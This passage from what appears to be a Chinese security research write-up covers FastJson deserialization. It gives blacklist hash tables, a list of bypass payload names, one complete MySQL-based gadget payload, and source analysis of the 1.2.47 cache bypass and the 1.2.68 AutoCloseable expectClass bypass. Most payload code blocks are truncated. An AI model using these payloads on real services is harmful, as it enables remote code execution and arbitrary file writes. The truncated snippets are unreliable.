| 1.2.67 | 5596129856135573697L | 0x4da972745feb30c1L | org.apache.activemq.jms.pool. |
| 1.2.67 | 6854854816081053523L | 0x5f215622fb630753L | org.mortbay.jetty. |
| 1.2.68 | -3077205613010077203L | 0xd54b91cc77b239edL | org.apache.shiro.jndi. |
| 1.2.68 | -2825378362173150292L | 0xd8ca3d595e982bacL | org.apache.ignite.cache.jta. |
| 1.2.68 | 2078113382421334967L | 0x1cd6f11c6a358bb7L | javax.swing.J |
| 1.2.68 | 6007332606592876737L | 0x535e552d6f9700c1L | org.aoju.bus.proxy.provider. |
| 1.2.68 | 9140390920032557669L | 0x7ed9311d28bf1a65L | java.awt.p |
| 1.2.68 | 9140416208800006522L | 0x7ed9481d28bf417aL | java.awt.i |
| 1.2.69 | -8024746738719829346L | 0x90a25f5baa21529eL | java.io.Serializable |
| 1.2.69 | -5811778396720452501L | 0xaf586a571e302c6bL | java.io.Closeable |
| 1.2.69 | -3053747177772160511L | 0xd59ee91f0b09ea01L | oracle.jms.AQ |
| 1.2.69 | -2114196234051346931L | 0xe2a8ddba03e69e0dL | java.util.Collection |
| 1.2.69 | -2027296626235911549L | 0xe3dd9875a2dc5283L | java.lang.Iterable |
| 1.2.69 | -2939497380989775398L | 0xd734ceb4c3e9d1daL | java.lang.Object |
| 1.2.69 | -1368967840069965882L | 0xed007300a7b227c6L | java.lang.AutoCloseable |
| 1.2.69 | 2980334044947851925L | 0x295c4605fd1eaa95L | java.lang.Readable |
| 1.2.69 | 3247277300971823414L | 0x2d10a5801b9d6136L | java.lang.Cloneable |
| 1.2.69 | 5183404141909004468L | 0x47ef269aadc650b4L | java.lang.Runnable |
| 1.2.69 | 7222019943667248779L | 0x6439c4dff712ae8bL | java.util.EventListener |
| 1.2.70 | -5076846148177416215L | 0xb98b6b5396932fe9L | org.apache.commons.collections4.Transformer |
| 1.2.70 | -4703320437989596122L | 0xbeba72fb1ccba426L | org.apache.commons.collections4.functors |
| 1.2.70 | -4314457471973557243L | 0xc41ff7c9c87c7c05L | org.jdom2.transform. |
| 1.2.70 | -2533039401923731906L | 0xdcd8d615a6449e3eL | org.apache.hadoop.shaded.com.zaxxer.hikari. |
| 1.2.70 | 156405680656087946L | 0x22baa234c5bfb8aL | com.p6spy.engine. |
| 1.2.70 | 1214780596910349029L | 0x10dbc48446e0dae5L | org.apache.activemq.pool. |
| 1.2.70 | 3085473968517218653L | 0x2ad1ce3a112f015dL | org.apache.aries.transaction. |
| 1.2.70 | 3129395579983849527L | 0x2b6dd8b3229d6837L | org.apache.activemq.ActiveMQConnectionFactory |
| 1.2.70 | 4241163808635564644L | 0x3adba40367f73264L | org.apache.activemq.spring. |
| 1.2.70 | 7240293012336844478L | 0x647ab0224e149ebeL | org.apache.activemq.ActiveMQXAConnectionFactory |
| 1.2.70 | 7347653049056829645L | 0x65f81b84c1d920cdL | org.apache.commons.jelly. |
| 1.2.70 | 7617522210483516279L | 0x69b6e0175084b377L | org.apache.axis2.transport.jms. |
| 1.2.71 | -4537258998789938600L | 0xc1086afae32e6258L | java.io.FileReader |
| 1.2.71 | -4150995715611818742L | 0xc664b363baca050aL | java.io.ObjectInputStream |
| 1.2.71 | -2995060141064716555L | 0xd66f68ab92e7fef5L | java.io.FileInputStream |
| 1.2.71 | -965955008570215305L | 0xf2983d099d29b477L | java.io.ObjectOutputStream |
| 1.2.71 | -219577392946377768L | 0xfcf3e78644b98bd8L | java.io.DataOutputStream |
| 1.2.71 | 2622551729063269307L | x24652ce717e713bbL | java.io.PrintWriter |
| 1.2.71 | 2930861374593775110L | 0x28ac82e44e933606L | java.io.Buffered |
| 1.2.71 | 4000049462512838776L | 0x378307cb0111e878L | java.io.InputStreamReader |
| 1.2.71 | 4193204392725694463L | 0x3a31412dbb05c7ffL | java.io.OutputStreamWriter |
| 1.2.71 | 5545425291794704408L | 0x4cf54eec05e3e818L | java.io.FileWriter |
| 1.2.71 | 6584624952928234050L | 0x5b6149820275ea42L | java.io.FileOutputStream |
| 1.2.71 | 7045245923763966215L | 0x61c5bdd721385107L | java.io.DataInputStream |
| 1.2.78 | -3750763034362895579L | 0xcbf29ce484222325L | 空串 |
| 1.2.83 | -8754006975464705441L | 0x868385095a22725fL | org.apache.commons.io. |
| 1.2.83 | -8382625455832334425L | 0x8baaee8f9bf77fa7L | org.mvel2. |
| 1.2.83 | -6088208984980396913L | 0xab82562f53e6e48fL | kotlin.reflect. |
| 1.2.83 | -4733542790109620528L | 0xbe4f13e96a6796d0L | com.googlecode.aviator. |
| 1.2.83 | -1363634950764737555L | 0xed13653cb45c4bedL | org.aspectj. |
| 1.2.83 | -803541446955902575L | 0xf4d93f4fb3e3d991L | org.dom4j. |
| 1.2.83 | 860052378298585747L | 0xbef8514d0b79293L | org.apache.commons.cli. |
| 1.2.83 | 1268707909007641340L | 0x119b5b1f10210afcL | com.google.common.eventbus. |
| 1.2.83 | 3058452313624178956L | 0x2a71ce2cc40a710cL | org.thymeleaf. |
| 1.2.83 | 3740226159580918099L | 0x33e7f3e02571b153L | org.junit. |
| 1.2.83 | 3977090344859527316L | 0x37317698dcfce894L | org.mockito.asm. |
| 1.2.83 | 4319304524795015394L | 0x3bf14094a524f0e2L | com.google.common.io. |
| 1.2.83 | 5120543992130540564L | 0x470fd3a18bb39414L | org.mockito.runners. |
| 1.2.83 | 5916409771425455946L | 0x521b4f573376df4aL | org.mockito.cglib. |
| 1.2.83 | 6090377589998869205L | 0x54855e265fe1dad5L | com.google.common.reflect. |
| 1.2.83 | 7164889056054194741L | 0x636ecca2a131b235L | org.mockito.stubbing. |
| 1.2.83 | 8711531061028787095L | 0x78e5935826671397L | org.apache.commons.codec. |
| 1.2.83 | 8735538376409180149L | 0x793addded7a967f5L | ognl. |
| 1.2.83 | 8861402923078831179L | 0x7afa070241b8cc4bL | com.google.common.util.concurrent. |
| 1.2.83 | 9140416208800006522L | 0x7ed9481d28bf417aL | java.awt.i |
| 1.2.83 | 9144212112462101475L | 0x7ee6c477da20bbe3L | com.google.common.net. |
另外还有一些暂时未知的:
| version | hash | hex-hash | name |
|---|---|---|---|
| 1.2.67 | -831789045734283466L | 0xf474e44518f26736L | |
| 1.2.71 | 3452379460455804429L | 0x2fe950d3ea52ae0dL | |
| 1.2.78 | -8614556368991373401L | 0x8872f29fd0b0b7a7L | |
| 1.2.78 | -5472097725414717105L | 0xb40f341c746ec94fL | |
| 1.2.78 | -1800035667138631116L | 0xe704fd19052b2a34L | |
| 1.2.78 | -831789045734283466L | 0xf474e44518f26736L | |
| 1.2.78 | 33238344207745342L | 0x761619136cc13eL | |
| 1.2.78 | 3452379460455804429L | 0x2fe950d3ea52ae0dL | |
| 1.2.78 | 4215053018660518963L | 0x3a7ee0635eb2bc33L | |
| 1.2.83 | -8614556368991373401L | 0x8872f29fd0b0b7a7L | |
| 1.2.83 | -3750763034362895579L | 0xcbf29ce484222325L | |
| 1.2.83 | -1800035667138631116L | 0xe704fd19052b2a34L | |
| 1.2.83 | 4215053018660518963L | 0x3a7ee0635eb2bc33L |
FastJson 还有一个白名单列表,高版本也内置了一些类:
| hash | name |
|---|---|
| 0xD4788669A13AE74L | java.awt.Rectangle |
| 0xE08EE874A26F5EAFL | java.awt.Point |
| 0xDDAAA11FECA77B5EL | java.awt.Font |
| 0xB81BA299273D4E6L | java.awt.Color |
| 0xA8AAA929446FFCE4L | com.alibaba.fastjson.util.AntiCollisionHashMap |
| 0xD0E71A6E155603C1L | com.alipay.sofa.rpc.core.exception.SofaTimeOutException |
| 0x9F2E20FB6049A371L | java.util.Collections.UnmodifiableMap |
| 0xD45D6F8C9017FAL | java.util.concurrent.ConcurrentSkipListMap |
| 0x64DC636F343516DCL | java.util.concurrent.ConcurrentSkipListSet |
| 0x7FE2B8E675DA0CEFL | org.springframework.dao.CannotAcquireLockException |
| 0xF8C7EF9B13231FB6L | org.springframework.dao.CannotSerializeTransactionException |
| 0x42646E60EC7E5189L | org.springframework.dao.CleanupFailureDataAccessException |
| 0xCC720543DC5E7090L | org.springframework.dao.ConcurrencyFailureException |
| 0xC0FE32B8DC897DE9L | org.springframework.dao.DataAccessResourceFailureException |
| 0xDC9583F0087CC2C7L | org.springframework.dao.DataIntegrityViolationException |
| 0x5449EC9B0280B9EFL | org.springframework.dao.DataRetrievalFailureException |
| 0xEB7D4786C473368DL | org.springframework.dao.DeadlockLoserDataAccessException |
| 0x44D57A1B1EF53451L | org.springframework.dao.DuplicateKeyException |
| 0xC92D8F9129AF339BL | org.springframework.dao.EmptyResultDataAccessException |
| 0x9DF9341F0C76702L | org.springframework.dao.IncorrectResultSizeDataAccessException |
| 0xDB7BFFC197369352L | org.springframework.dao.IncorrectUpdateSemanticsDataAccessException |
| 0x73FBA1E41C4C3553L | org.springframework.dao.InvalidDataAccessApiUsageException |
| 0x76566C052E83815L | org.springframework.dao.InvalidDataAccessResourceUsageException |
| 0x61D10AF54471E5DEL | org.springframework.dao.NonTransientDataAccessException |
| 0x82E8E13016B73F9EL | org.springframework.dao.NonTransientDataAccessResourceException |
| 0xE794F5F7DCD3AC85L | org.springframework.dao.OptimisticLockingFailureException |
| 0x3F64BC3933A6A2DFL | org.springframework.dao.PermissionDeniedDataAccessException |
| 0x863D2DD1E82B9ED9L | org.springframework.dao.PessimisticLockingFailureException |
| 0x4BB3C59964A2FC50L | org.springframework.dao.QueryTimeoutException |
| 0x552D9FB02FFC9DEFL | org.springframework.dao.RecoverableDataAccessException |
| 0x21082DFBF63FBCC1L | org.springframework.dao.TransientDataAccessException |
| 0x178B0E2DC3AE9FE5L | org.springframework.dao.TransientDataAccessResourceException |
| 0x24AE2D07FB5D7497L | org.springframework.dao.TypeMismatchDataAccessException |
| 0x90003416F28ACD89L | org.springframework.dao.UncategorizedDataAccessException |
| 0x73A0BE903F2BCBF4L | org.springframework.jdbc.BadSqlGrammarException |
| 0x7B606F16A261E1E6L | org.springframework.jdbc.CannotGetJdbcConnectionException |
| 0xAFCB539973CEA3F7L | org.springframework.jdbc.IncorrectResultSetColumnCountException |
| 0x4A39C6C7ACB6AA18L | org.springframework.jdbc.InvalidResultSetAccessException |
| 0x9E404E583F254FD4L | org.springframework.jdbc.JdbcUpdateAffectedIncorrectNumberOfRowsException |
| 0x34CC8E52316FA0CBL | org.springframework.jdbc.LobRetrievalFailureException |
| 0xB5114C70135C4538L | org.springframework.jdbc.SQLWarningException |
| 0x7F36112F218143B6L | org.springframework.jdbc.UncategorizedSQLException |
| 0x26C5D923AF21E2E1L | org.springframework.cache.support.NullValue |
| 0xD11D2A941337A7BCL | org.springframework.security.oauth2.common.DefaultExpiringOAuth2RefreshToken |
| 0x4F0C3688E8A18F9FL | org.springframework.security.oauth2.common.DefaultOAuth2AccessToken |
| 0xC59AA84D9A94C640L | org.springframework.security.oauth2.common.DefaultOAuth2RefreshToken |
| 0x1F10A70EE4065963L | org.springframework.util.LinkedMultiValueMap |
| 0x557F642131553498L | org.springframework.util.LinkedCaseInsensitiveMap |
| 0x8B2081CB3A50BD44L | org.springframework.remoting.support.RemoteInvocation |
| 0x8B2081CB3A50BD44L | org.springframework.remoting.support.RemoteInvocation |
| 0x54DC66A59269BAE1L | org.springframework.security.web.savedrequest.SavedCookie |
| 0x111D12921C5466DAL | org.springframework.security.web.csrf.DefaultCsrfToken |
| 0x19DCAF4ADC37D6D4L | org.springframework.security.web.authentication.WebAuthenticationDetails |
| 0x604D6657082C1EE9L | org.springframework.security.core.context.SecurityContextImpl |
| 0xF4AA683928027CDAL | org.springframework.security.authentication.UsernamePasswordAuthenticationToken |
| 0x92F252C398C02946L | org.springframework.security.core.authority.SimpleGrantedAuthority |
| 0x6B949CE6C2FE009L | org.springframework.security.core.userdetails.User |
JndiDataSourceFactory(1.2.25 - 1.2.46)
这里我们可以通过 org.apache.ibatis.datasource.jndi.JndiDataSourceFactory 绕过。
JndiDataSourceFactory 是 MyBatis 的一种 数据源工厂实现,用来从 JNDI(Java Naming and Directory Interface) 里查找并获取 DataSource 对象。我们可以通过下面这个 Maven 坐标引入:
1 | <dependency> |
由于 JndiDataSourceFactory 不在 FastJson 的黑名单中,因此我们可以利用该类完成 JNDI 注入的利用。
JndiDataSourceFactory#setProperties 函数定义如下:
1 | // 将外部传入的属性应用到 JNDI 数据源工厂: |
其他 payload
以下为部分在各个途径搜集的 payload,版本自测:
JdbcRowSetImpl
1 | { |
TemplatesImpl
1 | { |
JndiDataSourceFactory
1 | { |
SimpleJndiBeanFactory
1 | { |
DefaultBeanFactoryPointcutAdvisor
1 | { |
WrapperConnectionPoolDataSource
1 | { |
JndiRefForwardingDataSource
1 | { |
InetAddress
1 | { |
Inet6Address
1 | { |
URL
1 | { |
JSONObject
1 | { |
URLReader
1 | { |
AutoCloseable 任意文件写入
1 | { |
BasicDataSource
1 | { |
JndiConverter
1 | { |
JtaTransactionConfig
1 | { |
JndiObjectFactory
1 | { |
AnterosDBCPConfig
1 | { |
AnterosDBCPConfig2
1 | { |
CacheJndiTmLookup
1 | { |
AutoCloseable 清空指定文件
1 | { |
AutoCloseable 清空指定文件
1 | { |
AutoCloseable 任意文件写入
1 | { |
AutoCloseable MarshalOutputStream 任意文件写入
1 | { |
BasicDataSource
1 | { |
HikariConfig
1 | { |
HikariConfig
1 | { |
HikariConfig
1 | { |
HikariConfig
1 | { |
SessionBeanProvider
1 | { |
JMSContentInterceptor
1 | { |
ContextClassLoaderSwitcher
1 | { |
OracleManagedConnectionFactory
1 | { |
JNDIConfiguration
1 | { |
JDBC4Connection
1 | { |
LoadBalancedMySQLConnection
1 | { |
UnpooledDataSource
1 | { |
LoadBalancedMySQLConnection2
1 | { "@type":"java.lang.AutoCloseable", "@type":"com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection", "proxy": { "connectionString":{ "url":"jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&useSSL=false&user=yso_CommonsCollections5_calc" } } }} |
ReplicationMySQLConnection
1 | { |
基于检测逻辑
缓存绕过(1.2.25-1.2.47)
fastjson ≤ 1.2.47 的 checkAutoType() 有个顺序错误:
它先去缓存里找类(TypeUtils.mappings / deserializers),找到就直接返回,后面黑名单/白名单的检查就完全不走了。
而我们又可以用一次特殊的 JSON(把 @type 设成 java.lang.Class)来把任意类名先塞进这个缓存。
于是第二次再用这个本应在黑名单里的类名发起反序列化时,就被当成“缓存命中”直接放行,实现绕过并利用(例如 JNDI 触发 RCE)。
假设我们构造下面这段 payload,然后传给 com.alibaba.fastjson.JSON#parse 反序列化:
1 | { |
com.alibaba.fastjson.JSON#parse 函数反序列化会调用到 com.alibaba.fastjson.parser.DefaultJSONParser#parseObject 函数,该函数会针对不同的键执行不同的反序列化逻辑。
其中对于 @type 键,parseObject 函数在处理处理时会考虑 {@type: ..., val: ...} 这种特殊的情况:
1 | /** |
{@type: ..., val: ...} 是 fastjson 为了在 JSON 里携带“真实 Java 类型信息”而约定的一种“类型包装格式”。
@type:写类全名(如java.net.URL、java.lang.Class、你的业务类等);val:写真正的值(比如一个字符串 URL、类名字符串、或别的标量)。
它的原始用途是:在多态/泛型/Object 等场景里,让反序列化时知道要还原成哪个具体类。
像 Class、URL、URI、Pattern、Locale、UUID、TimeZone、SimpleDateFormat 等,本体最自然的 JSON 形态就是一个字符串或简单标量。如果只写 "http://a.b",反序列化端不知道这是该当作 String 还是 URL。于是 fastjson 用类型包装:
1 | {"@type":"java.net.URL","val":"http://a.b"} |
反序列化端读取 @type → 知道要按 URL 还原;再从 val 拿到真实字符串去 new URL(...)。
因此在 parseObject 函数中,这种类型的数据会被交由 derializer 中存储的 clazz 对应的反序列化器解析。
1 | // 走到这里,说明没什么已解析字段,直接交给该类型的反序列化器去处理后续 |
其中 clazz 来源于 @type 对应的值:
1 | // 读取类型名:从当前 lexer 中扫描一个带引号的字符串作为符号(进入 symbolTable 驻留/复用) |
获取 deserializer 的 com.alibaba.fastjson.parser.ParserConfig#getDeserializer 函数本质上是从 com.alibaba.fastjson.parser.ParserConfig#deserializers 中取 type 对应的反序列化器。
1 | public ObjectDeserializer getDeserializer(Type type) { |
ParserConfig 在构造函数中会调用 initDeserializers 函数初始化 deserializers,往里面预先添加一部分 Java 类型及其对应的反序列化器。其中我们传入的 java.lang.Class 对应的是 com.alibaba.fastjson.serializer.MiscCodec。
1 | public class MiscCodec implements ObjectSerializer, ObjectDeserializer { |
com.alibaba.fastjson.serializer.MiscCodec#deserialze 函数的关键代码如下:
1 | /** |
deserialze 函数如果判断 parser.resolveStatus 为 DefaultJSONParser.TypeNameRedirect 那么会解析后面的 val 键对应的值到 objVal,这里也就是我们传入的 com.sun.rowset.JdbcRowSetImpl。
1 | Object objVal; |
随后这个值会被解析为字符串 strVal。
1 | if (objVal instanceof String) { |
当 @type 的值为 java.lang.Class 时会调用 com.alibaba.fastjson.util.TypeUtils#loadClass 加载类,其中参数 className 的值就是我们设置的 com.sun.rowset.JdbcRowSetImpl。
1 | // ========================= |
com.alibaba.fastjson.util.TypeUtils#loadClass 函数逻辑如下:
1 | public static Class<?> loadClass(String className, ClassLoader classLoader) { |
首先我们调用的 loadClass(String className, ClassLoader classLoader) 实际上是对 loadClass(String className, ClassLoader classLoader, boolean cache) 的一个封装,并且默认传入的 cache 值为 true。
1 | public static Class<?> loadClass(String className, ClassLoader classLoader) { |
因此在后续会将我们传入的类名以及对应的类会被放入 com.alibaba.fastjson.util.TypeUtils#mappings 中。(由于 com.alibaba.fastjson.parser.ParserConfig#defaultClassLoader 默认为 null,因此通常走的是下面这个分支)
1 | // 6) 退而求其次:使用当前线程的 ContextClassLoader(TCCL) |
由于我们已经在 com.alibaba.fastjson.util.TypeUtils#mappings 中放入了我们要加载的 com.sun.rowset.JdbcRowSetImpl,因此我们可以通过构造下面这个 payload 使得后续再加载 com.sun.rowset.JdbcRowSetImpl 完成利用。
1 | { |
加载 com.sun.rowset.JdbcRowSetImpl 时会调用 com.alibaba.fastjson.parser.ParserConfig#checkAutoType 进行检测,该函数关于 com.alibaba.fastjson.util.TypeUtils#mappings 存在绕过问题。
1 | // 核心问题是“先命中缓存/反序列化器就 return”导致黑/白名单被绕过。 |
首先如果我们加载的类出现在黑名单中,则如果这个类同时也出现在 mappings 中,则不会报错。
1 | // 8.2 命中黑名单:仅当 mappings 中“没有该类缓存”时才抛异常 |
之后在通过黑名单检测后,调用 com.alibaba.fastjson.util.TypeUtils#getClassFromMapping 获取 typename 对应的类。
1 | // 9) 尝试从全局缓存 mappings 取类 |
getClassFromMapping 实际上就是从 mappings 中获取类。
1 | public static Class<?> getClassFromMapping(String className){ |
最后查询到的类会被正常返回,至此绕过了黑名单的检测。
1 | // 11) 一旦在 9/10 步找到 clazz,先做期望类型校验,然后“直接返回” |
官方在 1.2.48 对该漏洞进行了修复:
在
MiscCodec处理 Class 类的地方,设置了cache为false。1
2
3if (clazz == Class.class) {
return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader(), false);
}并且
loadClass重载方法的默认的调用改为不缓存,这就避免了使用了 Class 提前将恶意类名缓存进去。1
2
3public static Class<?> loadClass(String className, ClassLoader classLoader) {
return loadClass(className, classLoader, false);
}
expectClass 绕过(1.2.68)
在 checkAutoType() 函数中有这样的逻辑:如果函数有 expectClass 入参,且我们传入的类名是 expectClass 的子类或实现,并且不在黑名单中,就可以通过 checkAutoType() 的安全检测。
1 | // 如果已经根据前面的映射/白名单/加载流程拿到了要使用的 Class(clazz 非空) |
提示
1.2.69 版本开始用一个白名单限制 expectClass 的范围:
1 | final boolean expectClassFlag; |
如果 expectClass 不在上述白名单范围则 expectClassFlag = true,同样会接受黑名单校验:
1 | if ((!internalWhite) && (autoTypeSupport || expectClassFlag)) { |
接下来我们找一下调用 checkAutoType() 且 expectClass 可控的方法,最终找到了以下几个类:
com.alibaba.fastjson.parser.deserializer.ThrowableDeserializer#deserialze()com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze()
ThrowableDeserializer
ThrowableDeserializer#deserialze() 方法直接将 @type 后的类传入 checkAutoType() ,并且 expectClass 为 Throwable.class。
1 | // 如果当前解析到的 key 就是 Fastjson 约定的类型标记 "@type" |
通过 checkAutoType() 之后,将使用 createException 来创建异常类的实例。
1 | Throwable ex = null; // 准备要返回的异常对象引用 |
createException 会枚举异常类的常见构造方法,然后调用对应的构造方法实例化异常类。
1 | // 根据给定的 message、cause 和异常子类 exClass,尝试用“常见构造器”创建 Throwable 实例 |
这就形成了 Throwable 子类绕过 checkAutoType() 的方式。我们需要找到 Throwable 的子类,这个类的 getter/setter/static block/constructor 中含有具有威胁的代码逻辑。
JavaBeanDeserializer
再来看 JavaBeanDeserializer,在 fastjson 中对大部分类都指定了特定的 deserializer,而 AutoCloseable 类没有,因此在 com.alibaba.fastjson.parser.ParserConfig#getDeserializer 函数中,经过一系列判断最终返回的是 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer。
1 | public ObjectDeserializer getDeserializer(Class<?> clazz, Type type) { |
MarshalOutputStream
具体来说我们可以构造下面这种结构的 payload:
1 | { |
其中第一个 "@type":"java.lang.AutoCloseable" 用于获取 JavaBeanDeserializer,这部分逻辑位于 com.alibaba.fastjson.parser.DefaultJSONParser#parseObject 中。
因为 AutoCloseable 是属于 fastjson 内置的白名单中,因此 clazz = config.checkAutoType(typeName, null, lexer.getFeatures()) 这一步可以成功加载。
之后 deserializer = config.getDeserializer(clazz) 根据 AutoCloseable 获取反序列化器,感觉前面分析这里获取的是 JavaBeanDeserializer。
最后调用 deserializer.deserialze(this, clazz, fieldName) 完成后续的反序列化,这就执行到了 JavaBeanDeserializer#deserialze 的逻辑。
1 | // 命中“特殊键”判断分支:当 key 等于 JSON.DEFAULT_TYPE_KEY(默认 "@type")且未禁用特殊键检测 |
在 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze 中会针对后面的 "@type":"sun.rmi.server.MarshalOutputStream" 获取对应的 typeName 然后调用 config.checkAutoType 加载类。
这里的 expectClass 的来源 type 实际上就是前面的 deserializer.deserialze(this, clazz, fieldName) 的 clazz 参数,也就是按照第一个 @type 的值 java.lang.AutoCloseable 加载的类。
1 | // 7.3.2 多态:typeKey 或 "@type" |
由于 sun.rmi.server.MarshalOutputStream 实现了 java.lang.AutoCloseable 接口,因此可以通过第二次 checkAutoType() 的检测,成功加载 MarshalOutputStream 类并进入后续的实例化流程。

然而上述 payload 在虽然 userType = config.checkAutoType(typeName, expectClass, lexer.getFeatures()); 这一步成功加载了 MarshalOutputStream 类,但是却在 deserializer = parser.getConfig().getDeserializer(userType); 这一步产生如下报错:
1 | Exception in thread "main" com.alibaba.fastjson.JSONException: default constructor not found. class sun.rmi.server.MarshalOutputStream |
上述报错的意思是 FastJson 找不到 class sun.rmi.server.MarshalOutputStream 的默认构造函数。具体原因需要我们分析 createJavaBeanDeserializer 创建 JavaBeanDeserializer 的过程。
首先 createJavaBeanDeserializer 决定这个 clazz 用哪种方式反序列化,并最终创建一个 ObjectDeserializer 实例给后续解析器使用。它会在高速的 ASM 反序列化器与通用的反射版 JavaBeanDeserializer之间做出选择。
初始开关
1
boolean asmEnable = this.asmEnable & !this.fieldBased;
若全局允许 ASM 且不是 fieldBased,才考虑 ASM。
@JSONType 处理(可短路到自定义反序列化器)
- 若类上有
@JSONType且deserializer()指定了类,实例化后直接返回该反序列化器。 - 否则用
jsonType.asm()调整asmEnable。
- 若类上有
父类可见性检查(逐级必须 public)
1
2
3Class<?> superClass = JavaBeanInfo.getBuilderClass(clazz, jsonType);
if (superClass == null) superClass = clazz;
// 沿父类链检查是否都是 public其他早期硬性检查
- 存在泛型形参 → 关掉 ASM:
clazz.getTypeParameters().length != 0 - 外部类加载器 → 关掉 ASM:
asmFactory.classLoader.isExternalClass(clazz) - 类名合法性 →
ASMUtils.checkName(clazz.getSimpleName())
- 存在泛型形参 → 关掉 ASM:
接口直接否决 ASM
1
if (clazz.isInterface()) asmEnable = false;
[第一次 build] —— ASM “预检版”元信息
1
2
3
4
5
6JavaBeanInfo beanInfo = JavaBeanInfo.build(
clazz, type, propertyNamingStrategy,
false, // fieldBased
TypeUtils.compatibleWithJavaBean,
jacksonCompatible // 这里把 ParserConfig 的 jackson 兼容开关也带进去了
);用途:拿到属性清单与构造元信息,以便做下一组依赖元信息的可行性检查(否则仅凭
Class本身拿不到这些细节)。预检里用到的
beanInfo字段包括:beanInfo.fields.length(>200 直接弃用 ASM)beanInfo.defaultConstructor(没有无参构造就弃用 ASM)遍历
beanInfo.fields做逐项检查:fieldInfo.getOnly(只有 getter 的只读属性 → 弃用 ASM)fieldInfo.fieldClass必须public成员类必须是
static成员名/方法名需通过
ASMUtils.checkName(...)@JSONField包含format/deserializeUsing/parseFeatures/unwrapped→ 退避 ASM方法型属性若
paramTypes.length > 1→ 退避 ASMenum字段要求其反序列化器是EnumDeserializer等
关键点:这里没有 try/catch。如果
build(...)本身在分析构造方式时抛异常(例如“找不到默认构造且也找不到可用的创建者”),程序会直接终止,不会进入后面的“回退到反射版”。你看到的JSONException: default constructor not found. class sun.rmi.server.MarshalOutputStream
就是 第一次 build 阶段抛出来的。后置的纯类级别检查(不依赖
beanInfo)- 非静态内部类本体 → 关掉 ASM
TypeUtils.isXmlField(clazz)→ 关掉 ASM
若走不了 ASM → 直接返回反射版
1
2
3if (!asmEnable) {
return new JavaBeanDeserializer(this, clazz, type);
}(注意:上面第 6 步如果 build 就抛异常,压根到不了这里。)
[第二次 build] —— ASM 生成用的“最终版”元信息
1
JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, type, propertyNamingStrategy);
- 这是另一个重载,等价于:
fieldBased=false、compatibleWithJavaBean=TypeUtils.compatibleWithJavaBean、**jacksonCompatible=false**(默认)。 - 也就是说,预检那次
build(...)会考虑jacksonCompatible,但真正用于 ASM 代码生成的这次build(...)不再启用 jackson 兼容路径。 - 原因很简单:ASM 路线只支持“无参构造 + setter/字段写入”这一套纯 JavaBean 语义;Jackson 风格的 Creator/Factory 并不会用于 ASM 代码生成。
- 这是另一个重载,等价于:
尝试用 ASM 工厂生成专用反序列化器
1
2
3
4
5
6
7
8
9try {
return asmFactory.createJavaBeanDeserializer(this, beanInfo);
} catch (NoSuchMethodException e) {
return new JavaBeanDeserializer(this, clazz, type);
} catch (JSONException asmError) {
return new JavaBeanDeserializer(this, beanInfo);
} catch (Exception e) {
throw new JSONException("create asm deserializer error, " + clazz.getName(), e);
}- 这里有兜底:ASM 生成失败时回退到反射版(有时带
clazz,type,有时直接复用刚才的beanInfo)。 - 但再次强调:这只兜 ASM 工厂阶段的错;不兜第一次 build 抛出的错。
- 这里有兜底:ASM 生成失败时回退到反射版(有时带
JavaBeanInfo.build 决定“怎么 new 出对象 + 怎么把 JSON 的 key 对应到属性/参数”,并把这些决策以 JavaBeanInfo 形式交给上层。
简而言之就是全面扫描类的“可反序列化入口”:优先级大致是
Builder / @JSONCreator 构造器 / @JSONCreator 工厂方法 /(Kotlin 特殊)/ 有参数构造器(能拿到参数名) / 默认构造器 + Setter/字段 映射。
其中关键步骤为:
拿注解与命名策略:读
@JSONType,可能覆盖PropertyNamingStrategy。Builder 支持:如果声明了 Builder 类(
getBuilderClass),就转到 Builder 的 setter(withXxx/setXxx),再找build()/create()之类的构建方法。收集类信息:字段、方法、泛型映射、是否 Kotlin、全部构造器等。
找默认构造器:
- 若不是 Kotlin(或只有一个构造器),优先在 目标类或其 Builder 上找 无参构造器(
getDefaultConstructor),并setAccessible。
- 若不是 Kotlin(或只有一个构造器),优先在 目标类或其 Builder 上找 无参构造器(
如果(没有默认构造器 && 也没有 Builder)或类是接口/抽象:
尝试
@JSONCreator标注的构造器:通过参数上的@JSONField(name=...)映射 JSON 属性→参数。否则尝试
@JSONCreator的工厂方法(static或兼容 Jackson Creator)。否则(常规 POJO)尝试“有参构造器 + 参数名”路径:
- 逐个枚举
public构造器,用ASMUtils.lookupParameterNames(constructor)取参数名(或 Kotlin 的参数名)。 - 能拿到参数名,就据此把每个参数包装成
FieldInfo(参数名=属性名,或受@JSONField覆盖)。 - 若找到此路可行,返回
JavaBeanInfo,并把creatorConstructor设为该构造器。
- 逐个枚举
都不行:抛出
JSONException("default constructor not found. " + clazz)—— 因为没有默认构造器、也没有任何“可用的对象创建入口”(Creator/Factory/Builder/有参构造器+参数名)。
如果有默认构造器:
- 走常规 JavaBean 路径:扫描 setter 方法 / 字段 / 集合 Map 的 getter 等,合成
FieldInfo列表;也支持@JSONField覆盖属性名、序列化/解析特性;支持命名策略转换等。
- 走常规 JavaBean 路径:扫描 setter 方法 / 字段 / 集合 Map 的 getter 等,合成
字段为 0 的兜底(XML/fieldBased):可能改走“基于字段”的映射。
最终:返回
JavaBeanInfo(clazz, builderClass, defaultConstructor, creatorConstructor, factoryMethod, buildMethod, jsonType, fieldList)。
对于普通的 JDK,通过下面这条命令查询 sun.rmi.server.MarshalOutputStream 的函数信息:
1 | javap -l sun.rmi.server.MarshalOutputStream |
发现构造函数只有下面两种,并且没有无参构造器。
1 | public sun.rmi.server.MarshalOutputStream(java.io.OutputStream) throws java.io.IOException; |
因此根据前面对 JavaBeanInfo.build 的分析,此时会用 ASMUtils.lookupParameterNames(constructor) 取参数名,试图走“有参构造器 + 参数名”分支。
然而 JDK 类通常不携带参数名(没有 -parameters,也通常不保留 LocalVariableTable 参数名),因此 ASMUtils.lookupParameterNames(constructor) 拿不到名字,直接 continue。最终因为没有找到任何可用的构造路径而抛出:default constructor not found. class sun.rmi.server.MarshalOutputStream 错误。
1 | String[] paramNames = null; |
然而如果是我们自己编译的带符号的 JDK:
1 | git clone https://github.com/openjdk/jdk8u && cd jdk8u |
